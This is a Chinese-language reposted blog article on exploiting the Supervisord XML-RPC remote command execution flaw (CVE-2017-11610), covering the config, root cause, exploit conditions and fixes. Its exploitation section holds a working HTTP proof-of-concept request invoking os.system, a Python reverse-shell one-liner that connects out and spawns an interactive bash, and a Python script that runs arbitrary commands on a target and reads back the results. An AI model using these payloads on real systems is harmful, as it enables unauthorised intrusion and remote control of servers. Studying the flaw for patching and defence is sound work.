Supervisord远程命令执行漏洞(CVE-2017-11610)


参考

https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html

Supervisord

Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。

Supervisord的架构分为Server和Client,Server以一个服务的形式,跑在系统后台,而Client是一个命令行工具,其实就是根据用户的要求,调用Server提供的API,执行一些工作。

[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

另外,如果我设置了[inet_http_server]段,即可将Supervisord监听在TCP端口上,这样外部其他程序也能进行调用。我们可以直接将默认配置文件中这一段前面的分号去掉,就默认监听在9001端口上了。

漏洞复现

CVE-2017-11610的本质是一个不安全的对象引用+方法调用,十分类似Java中的反序列化漏洞。

Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是C端通过RPC协议可以在S端执行某个函数,并得到返回结果。那么,如果C端执行了S端预料之外的函数(如os.system),那么就会导致漏洞的产生。

一个安全的RPC协议,会有一个函数名的映射,也就是说C端只能调用在白名单之中的部分函数,并且这个“函数”只是真正函数的一个映射。

POC:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

python shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

@Ricter 师傅思路:将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

直接回显POC:

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用Python3执行并获取结果:

./poc.py "http://your-ip:9001/RPC2" "command":

漏洞影响及修复

利用这个漏洞,一般有几个条件:

  • Supervisord版本在受影响的范围内
  • RPC端口可被访问
  • RPC无密码或密码脆弱

第二个条件其实不太容易达到。默认安装的Supervisord,是只监听unix套接字的,所以外部IP根本无法访问。

另外,如果你已经拿到了一台机器的低权限,想访问本地的unix套接字,利用该漏洞提权,也是不现实的:原因是supervisord.sock文件权限默认是0700,其他用户无法访问,能够访问的用户权限和它是一样的,也就不存在提权的说法了。

当然,运维不小心将RPC端口开放了,并且使用了默认密码或没有设置密码,那么借助这个漏洞进行攻击,也是很不错的。

修复:

  1. 升级Supervisord
  2. 端口访问控制
  3. 设置复杂RPC密码


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM